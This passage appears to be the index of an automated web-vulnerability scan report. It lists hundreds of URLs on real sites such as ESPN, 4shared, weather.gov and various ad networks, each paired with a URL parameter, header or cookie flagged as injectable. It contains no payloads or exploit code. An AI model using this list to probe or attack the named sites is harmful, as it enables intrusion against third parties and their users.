3.184. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 4]

3.185. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 7]

3.186. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 8]

3.187. http://e1.cdn.qnsr.com/cgi/k/20120772/1536/0/0/203635133/203635133//0/203/8598//1/i.js [REST URL parameter 9]

3.188. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 10]

3.189. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 11]

3.190. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 4]

3.191. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 7]

3.192. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 8]

3.193. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 9]

3.194. http://e2.cdn.qnsr.com//cgi/k/20132865/1537/0/0/203687984/203687984//0/203/9542//1000002/i.js [REST URL parameter 7]

3.195. http://e2.cdn.qnsr.com//cgi/k/20135122/1793/0/0/203687991/203687991//0/203/9542//5000005/i.js [REST URL parameter 7]

3.196. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 10]

3.197. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 11]

3.198. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 4]

3.199. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 5]

3.200. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 6]

3.201. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 7]

3.202. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 8]

3.203. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 9]

3.204. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]

3.205. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]

3.206. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]

3.207. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]

3.208. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]

3.209. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]

3.210. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]

3.211. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]

3.212. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 10]

3.213. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 11]

3.214. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 4]

3.215. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 7]

3.216. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 8]

3.217. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 9]

3.218. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]

3.219. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]

3.220. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]

3.221. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]

3.222. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]

3.223. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]

3.224. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]

3.225. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]

3.226. http://espn.go.com/blog/new-york/hockey/category/_/name/new-jersey-devils [REST URL parameter 7]

3.227. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-islanders [REST URL parameter 7]

3.228. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-rangers [REST URL parameter 7]

3.229. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [REST URL parameter 8]

3.230. http://espn.go.com/blog/new-york/knicks/post/_/id/2851/melo-will-wear-no-7-for-the-knicks [name of an arbitrarily supplied request parameter]

3.231. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [REST URL parameter 7]

3.232. http://espn.go.com/blog/new-yorkjets/post/_/id/4686/rex-tannenbaum-ready-for-prime-time [name of an arbitrarily supplied request parameter]

3.233. http://espn.go.com/espn/rss/newyork/news [name of an arbitrarily supplied request parameter]

3.234. http://espn.go.com/ncb/conversation [name of an arbitrarily supplied request parameter]

3.235. http://espn.go.com/new-york/columns/archive [name parameter]

3.236. http://espn.go.com/videohub/mpf/config.prodXml [adminOver parameter]

3.237. http://flash.quantserve.com/quant.swf [lc parameter]

3.238. http://forecast.weather.gov/product.php [highlight parameter]

3.239. http://games.espn.go.com/frontpage/ [REST URL parameter 1]

3.240. http://i1.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

3.241. http://i2.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

3.242. http://i3.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

3.243. http://i4.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

3.244. http://ib.adnxs.com/ab [cnd parameter]

3.245. http://ib.adnxs.com/ptj [redir parameter]

3.246. http://img.mediaplex.com/content/0/15017/124821/VNX_Direct_1a_728x90_SIMPLE_v2_phone.js [mpck parameter]

3.247. http://img.mediaplex.com/content/0/15017/124821/VNX_Direct_1a_728x90_SIMPLE_v2_phone.js [mpvc parameter]

3.248. http://img.mediaplex.com/content/0/3484/119769/81842_EXF000FL__BIGBRAND_v02__728x90.js [mpck parameter]

3.249. http://img.mediaplex.com/content/0/3484/119769/81842_EXF000FL__BIGBRAND_v02__728x90.js [mpvc parameter]

3.250. http://imp.fetchback.com/serve/fb/adtag.js [name of an arbitrarily supplied request parameter]

3.251. http://imp.fetchback.com/serve/fb/adtag.js [type parameter]

3.252. http://insider.espn.go.com/mlb/blog [name of an arbitrarily supplied request parameter]

3.253. http://int.teracent.net/tase/int [PartNumber parameter]

3.254. http://int.teracent.net/tase/int [tier1 parameter]

3.255. http://int.teracent.net/tase/int [tier2 parameter]

3.256. http://js.revsci.net/gateway/gw.js [csid parameter]

3.257. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

3.258. http://mf.sitescout.com/tag.jsp [h parameter]

3.259. http://mf.sitescout.com/tag.jsp [pid parameter]

3.260. http://mf.sitescout.com/tag.jsp [w parameter]

3.261. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 2]

3.262. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 3]

3.263. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 4]

3.264. http://online.wsj.com/pznusersvc/view/user/profile [profileType parameter]

3.265. http://pastebin.com/74KXCaEZ [REST URL parameter 1]

3.266. http://pastebin.com/74KXCaEZ [name of an arbitrarily supplied request parameter]

3.267. http://pastebin.com/CvGXyfiJ [REST URL parameter 1]

3.268. http://pastebin.com/CvGXyfiJ [name of an arbitrarily supplied request parameter]

3.269. http://pastebin.com/DBDqm6Km [REST URL parameter 1]

3.270. http://pastebin.com/DBDqm6Km [name of an arbitrarily supplied request parameter]

3.271. http://pastebin.com/X8znzPWH [REST URL parameter 1]

3.272. http://pastebin.com/X8znzPWH [name of an arbitrarily supplied request parameter]

3.273. http://pastebin.com/u/ComodoHacker [REST URL parameter 1]

3.274. http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]

3.275. http://pittsburgh.citysearch.com/guide/pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]

3.276. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 2]

3.277. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 3]

3.278. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948/x22 [name of an arbitrarily supplied request parameter]

3.279. http://pixel.adsafeprotected.com/jspix [advId parameter]

3.280. http://pixel.adsafeprotected.com/jspix [anId parameter]

3.281. http://pixel.adsafeprotected.com/jspix [campId parameter]

3.282. http://pixel.adsafeprotected.com/jspix [chanId parameter]

3.283. http://pixel.adsafeprotected.com/jspix [name of an arbitrarily supplied request parameter]

3.284. http://pixel.adsafeprotected.com/jspix [placementId parameter]

3.285. http://pixel.adsafeprotected.com/jspix [pubId parameter]

3.286. https://pixel.fetchback.com/serve/fb/pdc [name parameter]

3.287. http://pixel.invitemedia.com/admeld_sync [admeld_callback parameter]

3.288. http://poponthepop.us.intellitxt.com/al.asp [jscallback parameter]

3.289. http://poponthepop.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]

3.290. http://poponthepop.us.intellitxt.com/v4/init [jscallback parameter]

3.291. http://poponthepop.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]

3.292. http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria [REST URL parameter 4]

3.293. http://projects.webappsec.org/w/page-revisions/13246986/a [REST URL parameter 4]

3.294. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]

3.295. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]

3.296. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]

3.297. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]

3.298. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]

3.299. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]

3.300. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]

3.301. https://r.espn.go.com/members/util/getUserInfo [cb parameter]

3.302. http://radar.weather.gov/radar_lite.php [loop parameter]

3.303. http://radar.weather.gov/radar_lite.php [product parameter]

3.304. http://recreationalequipmen.tt.omtrdc.net/m2/recreationalequipmen/mbox/standard [mbox parameter]

3.305. http://recs.richrelevance.com/rrserver/p13n_generated.js [ctp parameter]

3.306. http://response.restoration.noaa.gov/orr_search.php [message parameter]

3.307. http://response.restoration.noaa.gov/orr_search.php [name of an arbitrarily supplied request parameter]

3.308. http://rtb0.doubleverify.com/rtb.ashx/verifyc [callback parameter]

3.309. http://sales.liveperson.net/hc/72961245/ [msessionkey parameter]

3.310. http://search.4shared.com/css/common.css [REST URL parameter 1]

3.311. http://search.4shared.com/css/common.css [REST URL parameter 2]

3.312. http://search.4shared.com/css/main.css [REST URL parameter 1]

3.313. http://search.4shared.com/css/main.css [REST URL parameter 2]

3.314. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]

3.315. http://search.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]

3.316. http://search.4shared.com/js/utils.js [REST URL parameter 1]

3.317. http://search.4shared.com/js/utils.js [REST URL parameter 2]

3.318. http://search.4shared.com/search.html [name of an arbitrarily supplied request parameter]

3.319. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 2]

3.320. http://search.espn.go.com/s/ie8/suggestions [REST URL parameter 3]

3.321. http://search.komonews.com/ [name of an arbitrarily supplied request parameter]

3.322. http://search.komonews.com/Boeing [name of an arbitrarily supplied request parameter]

3.323. http://search.komonews.com/Microsoft [name of an arbitrarily supplied request parameter]

3.324. http://search.komonews.com/National-Leaders/Barack-Obama [name of an arbitrarily supplied request parameter]

3.325. http://search.komonews.com/Sports/Mariners [name of an arbitrarily supplied request parameter]

3.326. http://search.komonews.com/Sports/Seahawks [name of an arbitrarily supplied request parameter]

3.327. http://search.komonews.com/Sports/Sounders [name of an arbitrarily supplied request parameter]

3.328. http://search.komonews.com/default.aspx [name of an arbitrarily supplied request parameter]

3.329. http://search.komonews.com/default.aspx [q parameter]

3.330. https://server.iad.liveperson.net/hc/14598237/ [divID parameter]

3.331. http://soccernet.espn.go.com/team [cc parameter]

3.332. http://soccernet.espn.go.com/team [cc parameter]

3.333. http://sourcebarcelona2010.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.334. http://sourcebarcelona2010.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.335. http://sourceboston2008.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.336. http://sourceboston2008.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.337. http://sourceboston2009.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.338. http://sourceboston2009.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.339. http://sourceboston2010.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.340. http://sourceboston2010.blip.tv/posts [name of an arbitrarily supplied request parameter]

3.341. http://sports.espn.go.com/chicago/nba/columns/story [columnist parameter]

3.342. http://sports.espn.go.com/chicago/nfl/columns/story [columnist parameter]

3.343. http://sports.espn.go.com/chicago/teams/recap [sport parameter]

3.344. http://sports.espn.go.com/espn/js/uniloginInLineReplace [cb parameter]

3.345. http://sports.espn.go.com/golf/columns/story [columnist parameter]

3.346. http://sports.espn.go.com/mlb/columns/story [id parameter]

3.347. http://sports.espn.go.com/ncaa/columns/story [columnist parameter]

3.348. http://sports.espn.go.com/ncaa/columns/story [id parameter]

3.349. http://sports.espn.go.com/new-york/mlb/columns/story [columnist parameter]

3.350. http://sports.espn.go.com/new-york/nba/columns/story [columnist parameter]

3.351. http://sports.espn.go.com/new-york/ncb/columns/story [columnist parameter]

3.352. http://sports.espn.go.com/new-york/nfl/columns/story [columnist parameter]

3.353. http://sports.espn.go.com/new-york/teams/recap [sport parameter]

3.354. http://sr2.liveperson.net/visitor/addons/deploy.asp [site parameter]

3.355. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 1]

3.356. http://static.4shared.com/bundles/css/630963420/css/openid.css [REST URL parameter 2]

3.357. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 1]

3.358. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 2]

3.359. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 1]

3.360. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 2]

3.361. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 1]

3.362. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 2]

3.363. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 1]

3.364. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 2]

3.365. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 1]

3.366. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 2]

3.367. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 1]

3.368. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 2]

3.369. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 1]

3.370. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 2]

3.371. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 1]

3.372. http://static.4shared.com/bundles/js/1258691160/bundles/js/global.js [REST URL parameter 2]

3.373. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 1]

3.374. http://static.4shared.com/bundles/js/gzip_1258691160/bundles/js/global.js [REST URL parameter 2]

3.375. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 1]

3.376. http://static.4shared.com/css/4shFeatures.css [REST URL parameter 2]

3.377. http://static.4shared.com/css/common.css [REST URL parameter 1]

3.378. http://static.4shared.com/css/common.css [REST URL parameter 2]

3.379. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 1]

3.380. http://static.4shared.com/css/coolbuttons.css [REST URL parameter 2]

3.381. http://static.4shared.com/css/features.css [REST URL parameter 1]

3.382. http://static.4shared.com/css/features.css [REST URL parameter 2]

3.383. http://static.4shared.com/css/indexm.css [REST URL parameter 1]

3.384. http://static.4shared.com/css/indexm.css [REST URL parameter 2]

3.385. http://static.4shared.com/css/indexn.css [REST URL parameter 1]

3.386. http://static.4shared.com/css/indexn.css [REST URL parameter 2]

3.387. http://static.4shared.com/css/main.css [REST URL parameter 1]

3.388. http://static.4shared.com/css/main.css [REST URL parameter 2]

3.389. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 1]

3.390. http://static.4shared.com/css/mainWithoutCommon.css [REST URL parameter 2]

3.391. http://static.4shared.com/css/openid.css [REST URL parameter 1]

3.392. http://static.4shared.com/css/openid.css [REST URL parameter 2]

3.393. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 1]

3.394. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 2]

3.395. http://static.4shared.com/css/pageDownload1/download.css [REST URL parameter 3]

3.396. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 1]

3.397. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 2]

3.398. http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css [REST URL parameter 3]

3.399. http://static.4shared.com/css/tutorial.css [REST URL parameter 1]

3.400. http://static.4shared.com/css/tutorial.css [REST URL parameter 2]

3.401. http://static.4shared.com/desktop/desktop.css [REST URL parameter 1]

3.402. http://static.4shared.com/desktop/desktop.css [REST URL parameter 2]

3.403. http://static.4shared.com/dwr/engine.js [REST URL parameter 1]

3.404. http://static.4shared.com/dwr/engine.js [REST URL parameter 2]

3.405. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 1]

3.406. http://static.4shared.com/dwr/interface/DirChecks.js [REST URL parameter 2]

3.407. http://static.4shared.com/favicon.ico [REST URL parameter 1]

3.408. http://static.4shared.com/images/all1.png [REST URL parameter 1]

3.409. http://static.4shared.com/images/all1.png [REST URL parameter 2]

3.410. http://static.4shared.com/images/bg14.png [REST URL parameter 1]

3.411. http://static.4shared.com/images/bg14.png [REST URL parameter 2]

3.412. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 1]

3.413. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 2]

3.414. http://static.4shared.com/images/facebook/login-button.png [REST URL parameter 3]

3.415. http://static.4shared.com/images/googleW.png [REST URL parameter 1]

3.416. http://static.4shared.com/images/googleW.png [REST URL parameter 2]

3.417. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 1]

3.418. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 2]

3.419. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 3]

3.420. http://static.4shared.com/images/icons/16x16/close.gif [REST URL parameter 4]

3.421. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 1]

3.422. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 2]

3.423. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 3]

3.424. http://static.4shared.com/images/icons/16x16/stop.gif [REST URL parameter 4]

3.425. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 1]

3.426. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 2]

3.427. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 3]

3.428. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 4]

3.429. http://static.4shared.com/images/ipic.jpg [REST URL parameter 1]

3.430. http://static.4shared.com/images/ipic.jpg [REST URL parameter 2]

3.431. http://static.4shared.com/js/dw_drag.js [REST URL parameter 1]

3.432. http://static.4shared.com/js/dw_drag.js [REST URL parameter 2]

3.433. http://static.4shared.com/js/dw_event.js [REST URL parameter 1]

3.434. http://static.4shared.com/js/dw_event.js [REST URL parameter 2]

3.435. http://static.4shared.com/js/dw_viewport.js [REST URL parameter 1]

3.436. http://static.4shared.com/js/dw_viewport.js [REST URL parameter 2]

3.437. http://static.4shared.com/js/dw_writedrag.js [REST URL parameter 1]

3.438. http://static.4shared.com/js/dw_writedrag.js [REST URL parameter 2]

3.439. http://static.4shared.com/js/index.js [REST URL parameter 1]

3.440. http://static.4shared.com/js/index.js [REST URL parameter 2]

3.441. http://static.4shared.com/js/jquery-1.4.4.min.js [REST URL parameter 1]

3.442. http://static.4shared.com/js/jquery-1.4.4.min.js [REST URL parameter 2]

3.443. http://static.4shared.com/js/login_fnc.js [REST URL parameter 1]

3.444. http://static.4shared.com/js/login_fnc.js [REST URL parameter 2]

3.445. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 1]

3.446. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 2]

3.447. http://static.4shared.com/js/plugins/jquery.openid.js [REST URL parameter 3]

3.448. http://static.4shared.com/js/signup-script.jsp [REST URL parameter 1]

3.449. http://static.4shared.com/js/signup-script.jsp [REST URL parameter 2]

3.450. http://static.4shared.com/press_room/press_room.css [REST URL parameter 1]

3.451. http://static.4shared.com/press_room/press_room.css [REST URL parameter 2]

3.452. http://static.4shared.com/themes/default.css [REST URL parameter 1]

3.453. http://static.4shared.com/themes/default.css [REST URL parameter 2]

3.454. http://tag.admeld.com/ad/json/100/glammedia/160x600/367631667 [callback parameter]

3.455. http://tag.admeld.com/ad/json/100/glammedia/160x600/367631667 [container parameter]

3.456. http://tag.admeld.com/ad/json/100/glammedia/728x90/367631667 [callback parameter]

3.457. http://tag.admeld.com/ad/json/100/glammedia/728x90/367631667 [container parameter]

3.458. http://tag.contextweb.com/TagPublish/getjs.aspx [action parameter]

3.459. http://tag.contextweb.com/TagPublish/getjs.aspx [cwadformat parameter]

3.460. http://tag.contextweb.com/TagPublish/getjs.aspx [cwheight parameter]

3.461. http://tag.contextweb.com/TagPublish/getjs.aspx [cwpid parameter]

3.462. http://tag.contextweb.com/TagPublish/getjs.aspx [cwpnet parameter]

3.463. http://tag.contextweb.com/TagPublish/getjs.aspx [cwrun parameter]

3.464. http://tag.contextweb.com/TagPublish/getjs.aspx [cwtagid parameter]

3.465. http://tag.contextweb.com/TagPublish/getjs.aspx [cwwidth parameter]

3.466. http://technorati.com/cosmos/search.html [url parameter]

3.467. http://technorati.com/cosmos/search.html [url parameter]

3.468. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [awesm parameter]

3.469. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [name of an arbitrarily supplied request parameter]

3.470. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_content parameter]

3.471. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_medium parameter]

3.472. http://thenextweb.com/industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ [utm_source parameter]

3.473. http://uboat.net/favicon.ico [REST URL parameter 1]

3.474. http://uboat.net/history/wwi/ [REST URL parameter 1]

3.475. http://uboat.net/history/wwi/ [REST URL parameter 2]

3.476. http://uid.shoplocal.com/uid.aspx [callback parameter]

3.477. http://um.simpli.fi/am_js.js [admeld_adprovider_id parameter]

3.478. http://um.simpli.fi/am_js.js [admeld_callback parameter]

3.479. http://um.simpli.fi/am_match [admeld_adprovider_id parameter]

3.480. http://um.simpli.fi/am_match [admeld_callback parameter]

3.481. http://um.simpli.fi/am_redirect_js [admeld_adprovider_id parameter]

3.482. http://um.simpli.fi/am_redirect_js [admeld_callback parameter]

3.483. http://viacom.adbureau.net/AFTRSERVER/hserver//height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1//ATCI=1303072666-9018543 [REST URL parameter 2]

3.484. http://viacom.adbureau.net/AFTRSERVER/hserver//height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1//ATCI=1303072666-9018543 [REST URL parameter 3]

3.485. http://viacom.adbureau.net/AFTRSERVER/hserver//height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1//ATCI=1303072666-9018543 [name of an arbitrarily supplied request parameter]

3.486. http://viacom.adbureau.net/hserver/height=250/width=300/site=SOUTHPARKSTUDIOS.MTVI/aamsz=300X250/NCP=1 [REST URL parameter 1]

3.487. http://viacom.adbureau.net/hserver/height=250/width=300/site=SOUTHPARKSTUDIOS.MTVI/aamsz=300X250/NCP=1 [REST URL parameter 2]

3.488. http://viacom.adbureau.net/hserver/height=250/width=300/site=SOUTHPARKSTUDIOS.MTVI/aamsz=300X250/NCP=1 [name of an arbitrarily supplied request parameter]

3.489. http://viacom.adbureau.net/hserver/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1 [REST URL parameter 1]

3.490. http://viacom.adbureau.net/hserver/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1 [REST URL parameter 2]

3.491. http://viacom.adbureau.net/hserver/height=90/width=728/site=SOUTHPARKSTUDIOS.MTVI/aamsz=728X90/NCP=1 [name of an arbitrarily supplied request parameter]

3.492. http://widgets.digg.com/buttons/count [url parameter]

3.493. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 1]

3.494. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 2]

3.495. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 3]

3.496. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 3]

3.497. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 4]

3.498. http://wiki.answers.com/Q/FAQ/1873/x26amp [REST URL parameter 4]

3.499. http://wiki.answers.com/Q/FAQ/1873/x26amp [name of an arbitrarily supplied request parameter]

3.500. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 1]

3.501. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 2]

3.502. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 3]

3.503. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 3]

3.504. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 4]

3.505. http://wiki.answers.com/Q/FAQ/2637/x26amp [REST URL parameter 4]

3.506. http://wiki.answers.com/Q/FAQ/2637/x26amp [name of an arbitrarily supplied request parameter]

3.507. http://api.bizographics.com/v1/profile.json [Referer HTTP header]

3.508. http://core.insightexpressai.com/adServer/adServerESI.aspx [Referer HTTP header]

3.509. http://ib.adnxs.com/ttj [Referer HTTP header]

3.510. http://pixel.adsafeprotected.com/jspix [Referer HTTP header]

3.511. http://a.collective-media.net/cmadj/manta.comp/energy_resources [cli cookie]

3.512. http://blekko.com/join [name of an arbitrarily supplied request parameter]

3.513. http://blekko.com/login [name of an arbitrarily supplied request parameter]

3.514. http://d.chango.com/collector/admeldpixel [_t cookie]

3.515. http://seg.sharethis.com/getSegment.php [__stid cookie]

3.516. http://tag.admeld.com/ad/json/100/glammedia/160x600/367631667 [meld_sess cookie]

3.517. http://tag.admeld.com/ad/json/100/glammedia/728x90/367631667 [meld_sess cookie]



1. SQL injection  next
